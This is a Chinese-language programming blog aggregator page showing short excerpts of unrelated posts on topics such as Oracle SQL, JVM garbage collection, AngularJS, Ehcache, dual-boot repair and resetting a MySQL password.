            好久没有更新博客了,最近一段时间工作比较忙,所以请见谅,无论你是爱看呢还是爱看呢还是爱看呢,总之或许对你有些帮助。         DAO(Data Access Object)是一个数据访问(顾名思义就是与数据库打交道)接口,DAO一般在业
  • 直言有讳 永夜-极光 感悟随笔
      1.转载地址:http://blog.csdn.net/jasonblog/article/details/10813313   精华: “直言有讳”是阿里巴巴提倡的一种观念,而我在此之前并没有很深刻的认识。为什么呢?就好比是读书时候做阅读理解,我喜欢我自己的解读,并不喜欢老师给的意思。在这里也是。我自己坚持的原则是互相尊重,我觉得阿里巴巴很多价值观其实是基本的做人
  • 安装CentOS 7 和Win 7后,Win7 引导丢失 随便小屋 centos
    一般安装双系统的顺序是先装Win7,然后在安装CentOS,这样CentOS可以引导WIN 7启动。但安装CentOS7后,却找不到Win7 的引导,稍微修改一点东西即可。 一、首先具有root 的权限。      即进入Terminal后输入命令su,然后输入密码即可 二、利用vim编辑器打开/boot/grub2/grub.cfg文件进行修改 v
  • Oracle备份与恢复案例 aijuans oracle
    Oracle备份与恢复案例 一. 理解什么是数据库恢复当我们使用一个数据库时,总希望数据库的内容是可靠的、正确的,但由于计算机系统的故障(硬件故障、软件故障、网络故障、进程故障和系统故障)影响数据库系统的操作,影响数据库中数据的正确性,甚至破坏数据库,使数据库中全部或部分数据丢失。因此当发生上述故障后,希望能重构这个完整的数据库,该处理称为数据库恢复。恢复过程大致可以分为复原(Restore)与
  • JavaEE开源快速开发平台G4Studio v5.0发布 無為子
      我非常高兴地宣布,今天我们最新的JavaEE开源快速开发平台G4Studio_V5.0版本已经正式发布。   访问G4Studio网站 http://www.g4it.org   2013-04-06 发布G4Studio_V5.0版本 功能新增 (1). 新增了调用Oracle存储过程返回游标,并将游标映射为Java List集合对象的标
  • Oracle显示根据高考分数模拟录取 百合不是茶 PL/SQL编程oracle例子模拟高考录取学习交流
    题目要求: 1,创建student表和result表 2,pl/sql对学生的成绩数据进行处理 3,处理的逻辑是根据每门专业课的最低分线和总分的最低分数线自动的将录取和落选     1,创建student表,和result表 学生信息表; create table student( student_id number primary key,--学生id
  • 优秀的领导与差劲的领导 bijian1013 领导管理团队
    责任 优秀的领导:优秀的领导总是对他所负责的项目担负起责任。如果项目不幸失败了,那么他知道该受责备的人是他自己,并且敢于承认错误。 差劲的领导:差劲的领导觉得这不是他的问题,因此他会想方设法证明是他的团队不行,或是将责任归咎于团队中他不喜欢的那几个成员身上。 努力工作 优秀的领导:团队领导应该是团队成员的榜样。至少,他应该与团队中的其他成员一样努力工作。这仅仅因为他
  • js函数在浏览器下的兼容 Bill_chen jquery浏览器IEDWRext
      做前端开发的工程师,少不了要用FF进行测试,纯js函数在不同浏览器下,名称也可能不同。对于IE6和FF,取得下一结点的函数就不尽相同:   IE6:node.nextSibling,对于FF是不能识别的;   FF:node.nextElementSibling,对于IE是不能识别的; 兼容解决方式:var Div = node.nextSibl
  • 【JVM四】老年代垃圾回收:吞吐量垃圾收集器(Throughput GC) bit1129 垃圾回收
    吞吐量与用户线程暂停时间   衡量垃圾回收算法优劣的指标有两个: 吞吐量越高,则算法越好 暂停时间越短,则算法越好 首先说明吞吐量和暂停时间的含义。   垃圾回收时,JVM会启动几个特定的GC线程来完成垃圾回收的任务,这些GC线程与应用的用户线程产生竞争关系,共同竞争处理器资源以及CPU的执行时间。GC线程不会对用户带来的任何价值,因此,好的GC应该占
  • J2EE监听器和过滤器基础 白糖_ J2EE
    Servlet程序由Servlet,Filter和Listener组成,其中监听器用来监听Servlet容器上下文。 监听器通常分三类:基于Servlet上下文的ServletContex监听,基于会话的HttpSession监听和基于请求的ServletRequest监听。   ServletContex监听器 ServletContex又叫application
  • 博弈AngularJS讲义(16) - 提供者 boyitech jsAngularJSapiAngularProvider
      Angular框架提供了强大的依赖注入机制,这一切都是有注入器(injector)完成. 注入器会自动实例化服务组件和符合Angular API规则的特殊对象,例如控制器,指令,过滤器动画等。   那注入器怎么知道如何去创建这些特殊的对象呢? Angular提供了5种方式让注入器创建对象,其中最基础的方式就是提供者(provider), 其余四种方式(Value, Fac
  • java-写一函数f(a,b),它带有两个字符串参数并返回一串字符,该字符串只包含在两个串中都有的并按照在a中的顺序。 bylijinnan java
    public class CommonSubSequence { /** * 题目:写一函数f(a,b),它带有两个字符串参数并返回一串字符,该字符串只包含在两个串中都有的并按照在a中的顺序。 * 写一个版本算法复杂度O(N^2)和一个O(N) 。 * * O(N^2):对于a中的每个字符,遍历b中的每个字符,如果相同,则拷贝到新字符串中。 * O(
  • sqlserver 2000 无法验证产品密钥 Chen.H sqlwindowsSQL ServerMicrosoft
    在 Service Pack 4 (SP 4), 是运行 Microsoft Windows Server 2003、 Microsoft Windows Storage Server 2003 或 Microsoft Windows 2000 服务器上您尝试安装 Microsoft SQL Server 2000 通过卷许可协议 (VLA) 媒体。 这样做, 收到以下错误信息CD KEY的 SQ
  • [新概念武器]气象战争 comsci
           气象战争的发动者必须是拥有发射深空航天器能力的国家或者组织....        原因如下:        地球上的气候变化和大气层中的云层涡旋场有密切的关系,而维持一个在大气层某个层次
  • oracle 中 rollup、cube、grouping 使用详解 daizj oraclegroupingrollupcube
    oracle 中 rollup、cube、grouping 使用详解 -- 使用oracle 样例表演示 转自namesliu -- 使用oracle 的样列库,演示 rollup, cube, grouping 的用法与使用场景    --- ROLLUP , 为了理解分组的成员数量,我增加了 分组的计数  COUNT(SAL)   
  • 技术资料汇总分享 Dead_knight 技术资料汇总 分享
    本人汇总的技术资料,分享出来,希望对大家有用。 http://pan.baidu.com/s/1jGr56uE 资料主要包含: Workflow->工作流相关理论、框架(OSWorkflow、JBPM、Activiti、fireflow...) Security->java安全相关资料(SSL、SSO、SpringSecurity、Shiro、JAAS...) Ser
  • 初一下学期难记忆单词背诵第一课 dcj3sjt126com englishword
    could 能够 minute 分钟 Tuesday 星期二 February 二月 eighteenth 第十八 listen 听 careful 小心的,仔细的 short 短的 heavy 重的 empty 空的 certainly 当然 carry 携带;搬运 tape 磁带 basket 蓝子 bottle 瓶 juice 汁,果汁 head 头;头部
  • 截取视图的图片, 然后分享出去 dcj3sjt126com OSObjective-C
    OS 7 has a new method that allows you to draw a view hierarchy into the current graphics context. This can be used to get an UIImage very fast. I implemented a category method on UIView to get the vi
  • MySql重置密码 fanxiaolong MySql重置密码
    方法一:  在my.ini的[mysqld]字段加入: skip-grant-tables 重启mysql服务,这时的mysql不需要密码即可登录数据库  然后进入mysql mysql>use mysql;  mysql>更新 user set password=password('新密码') WHERE User='root'; mysq
  • Ehcache(03)——Ehcache中储存缓存的方式 234390216 ehcacheMemoryStoreDiskStore存储驱除策略
    Ehcache中储存缓存的方式   目录 1     堆内存(MemoryStore) 1.1     指定可用内存 1.2     驱除策略 1.3     元素过期 2   &nbs
  • spring mvc中的@propertysource jackyrong spring mvc
      在spring mvc中,在配置文件中的东西,可以在java代码中通过注解进行读取了: @PropertySource  在spring 3.1中开始引入 比如有配置文件 config.properties mongodb.url=1.2.3.4 mongodb.db=hello 则代码中   @PropertySource(&
  • 重学单例模式 lanqiu17 单例Singleton模式
    最近在重新学习设计模式,感觉对模式理解更加深刻。觉得有必要记下来。 第一个学的就是单例模式,单例模式估计是最好理解的模式了。它的作用就是防止外部创建实例,保证只有一个实例。 单例模式的常用实现方式有两种,就人们熟知的饱汉式与饥汉式,具体就不多说了。这里说下其他的实现方式 静态内部类方式: package test.pattern.singleton.statics; publ
  • .NET开源核心运行时,且行且珍惜 netcome java.net开源
    背景 2014年11月12日,ASP.NET之父、微软云计算与企业级产品工程部执行副总裁Scott Guthrie,在Connect全球开发者在线会议上宣布,微软将开源全部.NET核心运行时,并将.NET 扩展为可在 Linux 和 Mac OS 平台上运行。.NET核心运行时将基于MIT开源许可协议发布,其中将包括执行.NET代码所需的一切项目——CLR、JIT编译器、垃圾收集器(GC)和核心
  • 使用oscahe缓存技术减少与数据库的频繁交互 Everyday都不同 Web高并发oscahe缓存
    此前一直不知道缓存的具体实现,只知道是把数据存储在内存中,以便下次直接从内存中读取。对于缓存的使用也没有概念,觉得缓存技术是一个比较”神秘陌生“的领域。但最近要用到缓存技术,发现还是很有必要一探究竟的。   缓存技术使用背景:一般来说,对于web项目,如果我们要什么数据直接jdbc查库好了,但是在遇到高并发的情形下,不可能每一次都是去查数据库,因为这样在高并发的情形下显得不太合理——
  • Spring+Mybatis 手动控制事务 toknowme mybatis
    @Override    public boolean testDelete(String jobCode) throws Exception {       boolean flag = false;  &nbs
  • 菜鸟级的android程序员面试时候需要掌握的知识点 xp9802 android
    熟悉Android开发架构和API调用 掌握APP适应不同型号手机屏幕开发技巧 熟悉Android下的数据存储  熟练Android Debug Bridge Tool 熟练Eclipse/ADT及相关工具  熟悉Android框架原理及Activity生命周期 熟练进行Android UI布局 熟练使用SQLite数据库; 熟悉Android下网络通信机制,S